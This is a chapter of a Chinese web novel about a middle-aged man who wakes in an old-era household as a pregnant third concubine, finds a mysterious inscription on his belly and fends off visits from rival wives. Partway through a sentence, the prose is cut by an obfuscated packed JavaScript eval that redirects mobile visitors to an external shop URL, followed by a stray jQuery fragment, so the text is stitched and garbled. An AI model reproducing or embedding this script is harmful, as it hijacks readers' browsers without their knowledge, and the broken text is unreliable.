“为什么不是我的后宫啊，我倒反成了后宫一员了。”老梁一边掐着大腿，一边轻声啜泣。然后慢慢靠回床栏上。后脑勺磕到雕花木头上，"咚"一声闷响，疼得他龇了龇牙。
这一磕反倒把他磕清醒了。他坐在床上发了会儿呆，决定先下床喝口水。他让娟儿扶着起身，双脚踩到地上时他顿了一下——这双脚比他自己原来的小了两圈不止，脚趾细细白白的，指甲盖粉嫩得像花瓣。他踩在青砖地上，凉意从脚底板蹿上来，他又忍不住叹了一声，然后踮着脚尖走到桌边倒了杯凉茶灌下去。
娟儿收拾好屋子里的碗勺退了下去。老梁独自走到梳妆台前坐定，铜镜里的脸一点点清晰起来。他也一点一点地、一寸一寸地看过去。头发散着，黑得像一匹缎子铺在肩头，发梢垂到腰窝。额头光洁，没有他原来那道长年皱眉留下的川字纹。眉毛细长，是那种不用描就有的弧度，尾端微微往上挑，像用毛笔蘸了淡墨轻轻扫了一笔。眼睛——他凑近了些——眼珠是深褐色的，瞳仁在月光里透着一点琥珀色的光，眼尾比他的原装眼睛长了小半截，睫毛投下的阴影让整个眼眶看起来深了一寸。
他把目光往下移。鼻子窄而挺，鼻梁的线条从眉间直落下来，收在鼻尖一个小小的弧度里。嘴唇薄，上唇的唇峰像山字形，下唇微微饱满一些，嘴角自然往上翘着。整张脸摆在镜子里，周慧敏的底子，邱淑贞的架子，美得让他一个四十七岁的老男人后背发麻。
但他最不敢看的是脖子往下那一截。那截白得像刚剥了壳的荔枝，喉结的位置平平整整的，什么都没有。他以前每天早上刮胡子都要摸一摸那个硬硬的凸起，现在没了。他咽了口唾沫，能看见自己纤细的颈侧皮肤随着吞咽动作微微滑动，一条极淡的青筋从锁骨往上爬，一直爬到耳根底下。
老梁止不住地摇着头，闭着眼极力地否认现在的一切。铜镜里的脸他不敢看，不敢认，他甚至把眼睛闭得死紧，眼珠子在眼皮底下乱转，像在找一条逃出去的路。他伸手去掐大腿，掐了一下，疼；又掐了一下，还是疼。他把手指并拢了使劲拧，拧得那块皮肉发红发紫，疼得他龇牙咧嘴，可再睁开眼，镜子里那张脸还是原样。周慧敏的眉眼，邱淑贞的轮廓，一丝一毫没变。
他盯着镜子里那个女人的眼睛看了三息，那眼睛也盯着他，里头全是茫然和恐惧。他忽然觉得荒唐——自己活了四十七年，虽然混得不怎么样，但好歹是个爷们儿。现在倒好，穿成个女的，肚子里还揣了一个，连哭都不敢哭出声来，怕又把丫鬟招回来。
委屈是从胸口底下那一片涌上来的。像一锅水烧开了，锅盖压不住，热气从四面八方往外冒。他吸了吸鼻子，眼泪还是不争气地淌下来了。他抬手去擦，那只手细白纤长，指尖粉嫩，指甲盖圆润得像贝壳，眼泪沾在手背上，亮晶晶的一小片。他看着自己这只手擦自己的泪，越擦越觉得荒谬，越擦眼泪越多，最后他干脆不擦了，两只手撑在梳妆台上，低着头，眼泪一滴一滴砸在台面上，砸在那些胭脂粉盒和丝巾头簪中间，洇开一小团一小团的深色。
他听见自己嗓子眼里挤出一声极轻的呜咽，像被人掐住了脖子没掐死，漏了一点气出来。他赶紧咬住下唇，把剩下的声音堵回去。不能哭出声。不能让人听见。一个三姨太大清早对着镜子哭，传到谁耳朵里都是事儿。
他深吸一口气，又吸了一口，胸腔里那团堵着的东西终于慢慢往下沉了沉。他抬起头，对着镜子里那张泪痕未干的脸，张了张嘴，想说点什么。但嘴唇动了动，什么声音也没发出来。他只好又闭了一下眼，再睁开时，眼眶是红的，但泪已经止住了。
这副身子骨原本就单薄，昨夜发烧烧了大半宿，今早又只穿了薄薄一层单衣起身，在凉透了的青砖地上站了小半个时辰。刚才那一阵哭又耗了心神，气血翻涌间，他只觉得眼前的铜镜开始发花，镜子里那张脸像浮在水面上一样荡来荡去。他伸手想去扶桌沿，指尖刚碰到梳妆台的边角，一阵天旋地转的晕眩就从后脑勺涌上来，像有人在他脑子里搅了一棍子。
"操……"他嘴里刚挤出一个字，膝盖就软了。他听见自己倒下去时带翻了什么东西，哐啷一声响，像是胭脂盒子滚到了地上，又像是什么瓷器的碎片。但声音离他越来越远，越来越闷，像隔着一层厚厚的水。他的身体比他的意识先沉了下去，软绵绵地歪倒在梳妆台旁的地上，单薄的单衣铺开在青砖上，像一朵摊开的白色花瓣。
最后一丝意识消散前，他恍惚看见门帘被猛地掀开，娟儿的声音从很远的地方传来："太太！太太您怎么了——"
他想回答她，想说"没事老子就是没吃早饭低血糖"，但嘴巴已经不听使唤了。他只能感觉到娟儿那双干瘦的手托住了他的后脑勺，又有什么人跑进来的脚步声，乱糟糟的，像一屋子被人撞翻的棋子。
然后什么都不知道了。
半梦半醒间，老梁只觉得有一白发老翁朝他招手……
嘴里念念有词，眼光不住的望向他腹中胎儿。瞬间一把火在腹部点燃，老梁是被烫醒的。不是做梦，是真烫——肚脐底下像塞了一块刚出灶的炭，隔着肚皮往他肠子里拱。他猛地掀开被子坐起来，月光从窗纸透进来，落在他的小腹上，那圈淡金色的纹路正一闪一闪地亮着，像夜店里那种劣质霓虹灯，断断续续的，忽明忽灭。
他下意识伸手去捂，掌心贴上去的瞬间烫得一缩，整条胳膊的汗毛都炸了。
"操操操操……"他压着嗓子骂了一串，又不敢大声喊，怕把娟儿招来。他低头死死盯着那道金纹，它在他肚脐下方三指宽的位置盘成一团，弯弯绕绕的，中间簇着四个字。月光不够亮，他眯着眼凑近了看，四个字像是用极细的毛笔蘸了金粉写在他皮肤底下两寸的——"九五归位"。
老梁盯着这八个字看了大概十息，脑子空白了十息。
“九五归位”。难道是和当今皇帝有关系，这九五莫非说的就是九五至尊，那不就是当今皇帝的意思嘛。这归位又怎么个解释呢。
想了半宿，老梁还是想不出个所以然。迷迷糊糊中到了黎明破晓时分，老梁再度睁眼望向这纹了字的肚皮，才发现这四个字的下面还有一句。“复旧如初”
“复旧如初？”。老梁头疼欲裂，这尚且虚弱的身子和疲惫的精神让老梁没法集中思考。可这如同神谕的八字真言又好似现在唯一有的线索，不得不让老梁咬着牙揉脑袋，要是有杯咖啡该多好。哎，咖啡，这年代想要杯咖啡怕是难如登天。这玩意儿铁定是还没传到中国呢。
回过神，再端详这几个字。“复旧如初，复旧如初，复旧如初。”老梁不住的念叨着。
是不是说只要把前面这几个字尔的事情给办了，我这就能恢复正常呢，就能离开这个破地方回到我原来的世界呢？可这九五归为，难道皇帝流放在外，还是说和我肚子里这孩子有关。难道我这怀的是个龙种？这不对啊，明明是那平南天的种。
老梁伸手又摸了摸肚子，那团烫意正在慢慢退下去，像一壶水从滚开降到温热，金纹也一点一点淡了，最后彻底没进肉里，肚皮恢复成一片光滑的白。他使劲搓了两下，搓得皮都红了，什么也搓不出来。
"他妈的是什么东西。"老梁对着自己的肚子说，"你要真是皇帝令，能不能换个男的当？我这儿怀着孕呢，不合适。"
第二天一早，他让娟儿把早饭端到床上来吃。娟儿端着小米粥和两碟小菜进来，搁在床头小几上，正要退出去，老梁一把拉住她的袖口。
"娟儿，我问你个事。"
娟儿被他拽得一个趔趄："太太您说。"
"当今天子是谁？"
娟儿手里的筷子"啪"一声掉了一根在桌上。她飞快地弯腰捡起来，抬头看老梁的眼神跟看鬼似的："太、太太……您说什么？"
"我问当今天子叫什么，年号什么。"
"永……永昌帝啊。"娟儿声音压得极低，往外看了一眼门帘，确认没人，才凑近半步，"宣德二十六年登基的，太太您怎么连这个都不记得了？"
老梁咬了一口馒头，嚼着嚼着忽然想起一件事："那……皇后呢？"
"文馨娘娘呀。"娟儿说着皱起了眉，那表情分明在说"您病了一场怎么连这些忌讳都忘干净了"，但她没敢说出口，只是搓着衣角，"太太，您要没什么别的事，奴婢去把热水给您提来。"
"别急。"老梁又咬了一口馒头，含含糊糊地嚼着，"那本地呢？本地有什么了不得的人物？"
娟儿的表情变了一变。那变化很细微，只是嘴角往下抿了一点点，但老梁在酒桌上看了二十多年人脸，这表情他太熟了——这是"知道但不敢说"的表情。他耐着性子等，啃完半个馒头又喝了半碗粥，娟儿始终没开口。最后他把碗往桌上一放，声音沉了半度："娟儿。"
"太太。"娟儿的眼皮垂下去了，"本地的……皇爷，游弋忒。是前朝的宗室后裔，朝廷给了虚衔，不上朝不纳贡。每月来咱们府上一两回，和老爷在书房说话。厨房给单独备酒菜，大太太亲自盯着，不许旁人碰。"
"说什么话？"
"奴婢不知道。"娟儿的头更低了，"书房连大太太都不让进的。"
老梁盯着她的头顶看了一会儿。她今天梳了个双丫髻，鬓边别了一朵小小的白色绒花，衬得那张干瘦的小脸越发寡淡。这丫头一定知道些什么，但她的嘴巴比她想说的更紧。
老梁没再追问。他把剩下那半碗粥喝了，粥凉了，面上结了一层薄薄的膜，他皱着眉把那层膜挑开，咕咚咕咚灌下去。放下碗的时候他说："行了，你忙去吧。"
娟儿如蒙大赦，端着碗筷快步出了门。她的背影消失在门帘后面时，老梁注意到她的脚步比平时快了三成。
接下来的日子，老梁开始装病。对外说是"胎象不稳需卧床静养"，实际上他每天趁娟儿去厨房取饭的空档，光着脚在屋里摸一圈——摸梳妆台的抽屉，摸衣柜的夹层，摸床板底下的暗格。还真让他摸出几样东西来：一封没写完的信，字迹娟秀，写到一半就停了，抬头是"父亲大人膝下"；一包用油纸裹着的干花瓣，闻着像桂花，但颜色发暗，像是放了很久的；还有一枚银簪，簪头刻着一朵小小的并蒂莲。
他也试着出过两次院门，想熟悉一下府里的路。第一次走到夹道拐角，听见平南天的说话声从正堂那边飘过来，他一缩脖子，连滚带爬地窜回屋里，钻进被窝把被子拉到下巴。心跳得跟擂鼓似的，半天没平下来。等了好一会儿也不见有人进来，他才反应过来——平南天压根没往北院来。
约莫着过了一周多，那天老梁正盘腿坐在窗边的炕上，拿着一把梳子假装梳头（他实在不会挽髻，每次娟儿给他梳好，他一动就散，后来索性就不动了），忽然听见院门外传来一串笑声。
笑声不大，脆生生的，像是特意调过音量的——不显得粗野，又刚好能让屋里的人听见。
"三妹妹可大安了？我来瞧瞧你。"
老梁把梳子往枕头底下一塞，刚来得及把腿从盘着的姿势换成侧卧，门帘就掀了。
一股檀香混着桂花头油
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900885|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的味道先涌了进来。二太太海芳穿一件瑰紫色对襟褂子，底下是月白挑线裙，头上斜簪着点翠蝴蝶钗，走路时那蝴蝶翅膀一颤一颤的，像活的。老梁在现代陪客户去过几次苏州的会所，那儿的领班就这么打扮——精致得让你知道她用了心，又不会精致到让你觉得她在跟你较劲。
"二姐姐来了。"老梁撑起上半身，学着娟儿教的礼数欠了欠身。刚欠到一半，海芳已经走到床沿坐下了，伸手就隔着薄毯覆上他的肚子。
老梁后腰一紧，浑身肌肉都绷了。
"别怕别怕。"海芳的手在他肚子上轻轻摩挲了两下，力道不重，但她掌心的温度透过丝绸睡袍渗进来，老梁觉得像有只蜘蛛在肚皮上爬，"显怀倒是显了，尖尖的。老人们都说肚子尖的是闺女，圆的是小子。三妹妹，你这胎怕是个姑娘。"
她说完这句话就收了手，掏出帕子擦了擦指尖，动作不紧不慢的，像在弹掉一截灰。老梁盯着她那只手看了一瞬——她擦的是碰过他肚子的手指，前三根，仔仔细细地擦了一遍，然后把帕子叠好收回袖中。
"头一胎，"老梁干巴巴地说，"男女都一样。"
"话是这么说。"海芳笑了一声，身子微微前倾，声音压低了些，"可老爷膝下就一个儿子，还远在京城当质。这府里多少双眼睛盯着你这肚子呢。“头一胎要紧。大太太那边嘴上不说，心里门儿清。你要是生个哥儿，往后这府里的份例……也不用我多说。"
老梁还没来得及回话，院门外又传来一阵脚步声。那步子稳，沉，每一步踩下去都像在算盘上拨了一颗珠子——一颗是一颗，不拖泥带水。娟儿通报的声音都变了调："大太太来了。"
门帘掀开时，老梁先闻到的是一股墨香。大太太妙静站在门口没往里走，穿着一件大红色素面褙子，头上只别了一支银簪，耳垂上光秃秃的。她那张脸素净得像一张没落笔的宣纸，五官拼在一起不算好看，但有一种让人不敢多看的气势。老梁恍惚了一下，想起现代公司里那个财务总监——四十多岁、离异、不吃午饭、全年无休，每次开会她一张嘴全屋都安静。
妙静的目光先扫了海芳一眼，海芳已经从床沿站起来了，微微侧着身，脸上的笑纹纹丝不动。然后妙静的目光落在老梁脸上，停了大约两息，说："气色好了。既然能坐起来，回头让娟儿来账房领一下上月的份例。有几笔赏钱的支出走的是你院里的账，你核对一下。"
老梁点头："好，大太太费心了。"
妙静的目光往下移了一寸，在他盖着薄毯的腹部停了一瞬。就一瞬。然后她收回视线，转身往外走。走到门边时脚步顿了一下，没回头，声音不高不低地说了一句："二太太，你院里的桂花伸到夹道上来了，下人走路绊了好几次。剪了吧。"
海芳脸上的笑纹丝毫没动："是，我回头就让人剪。"
妙静走了。脚步声一点一点远下去，像算盘珠子一颗一颗归位。厢房里静了一会儿，海芳也整了整裙摆站起来，对着老梁又笑了笑："大太太管账精细，连一棵桂花都看在眼里。三妹妹，你要是有什么不明白的，尽管来西院找我，咱们姐妹一场。"
"好，多谢二姐姐。"
海芳也走了。门帘晃了两下，定住了。老梁一个人靠在床栏上，低头看了一眼自己的肚子。薄毯底下，肚皮安安静静的，灵符没亮。但他现在满脑子都是刚才那两只手——一只手覆上来摸着说"尖尖的是闺女"，另一只手连碰都没碰他的肚子，只是站在门口远远看了一眼。
两只手，两种态度，哪一个更可怕？他说不上来。但后背到现在还绷着，松不下来。
娟儿进来收茶盏时，老梁忽然问了一句："娟儿，那位游皇爷来府上的时候，一般什么时辰到？"
娟儿端着茶盘的手晃了一下，茶盖磕在杯沿上"叮"一声脆响。她飞快地把茶盘放稳，低声道："太太，奴婢真的不知道。老爷的书房……"
"我知道，连大太太都不让进。"老梁截住她的话头，"我没问你他们说什么。我问你他来的时候，府上有什么动静。"
娟儿抿了抿嘴，沉默了好一会儿。老梁也不催，就那么靠在床栏上看她。窗外的阳光从她身后照过来，把她那对小小的珍珠耳钉照得发亮。
"来的时候，门房会先通传。"娟儿终于开口了，声音又轻又快，像怕被谁听见，"厨房会单独开一桌酒菜送到东院，大太太亲自守着，不许别人靠近。然后老爷院里的灯笼会点起来，一直亮到后半夜。"
"后半夜。"
"嗯。"娟儿垂下眼皮，"有时候天亮才灭。"
老梁没再问了。娟儿端着茶盘退出去，门帘垂下来，屋里又剩他一个人。他慢慢躺回去，盯着帐顶的雕花发呆。
后半夜。天亮才灭。两个男人在书房里待到后半夜，关着门，不让任何人靠近，厨房送菜由大太太亲自盯——这阵仗他太熟悉了。现代酒桌上，但凡甲方和乙方关起门来单独谈，还让人在外面守着不许靠近的，谈的肯定不是正经买卖。
他翻了个身，面朝墙壁。肚脐底下那一小片皮肤又热了一下，极轻极快，像有人用指尖在他肚子上弹了一指。他伸手摸了摸，什么也没摸着，热度已经散了。
"行了。"他对着墙壁小声说，"我知道。这不是坑，是棋盘。"
墙壁没理他。窗外的桂花香飘进来，有点腻人。他翻了个身，把被子拉过头顶，闷在被子里骂了一句梁志超你个倒霉催的。
外面院子里，有一只鸟在叫。叫了三声，停了。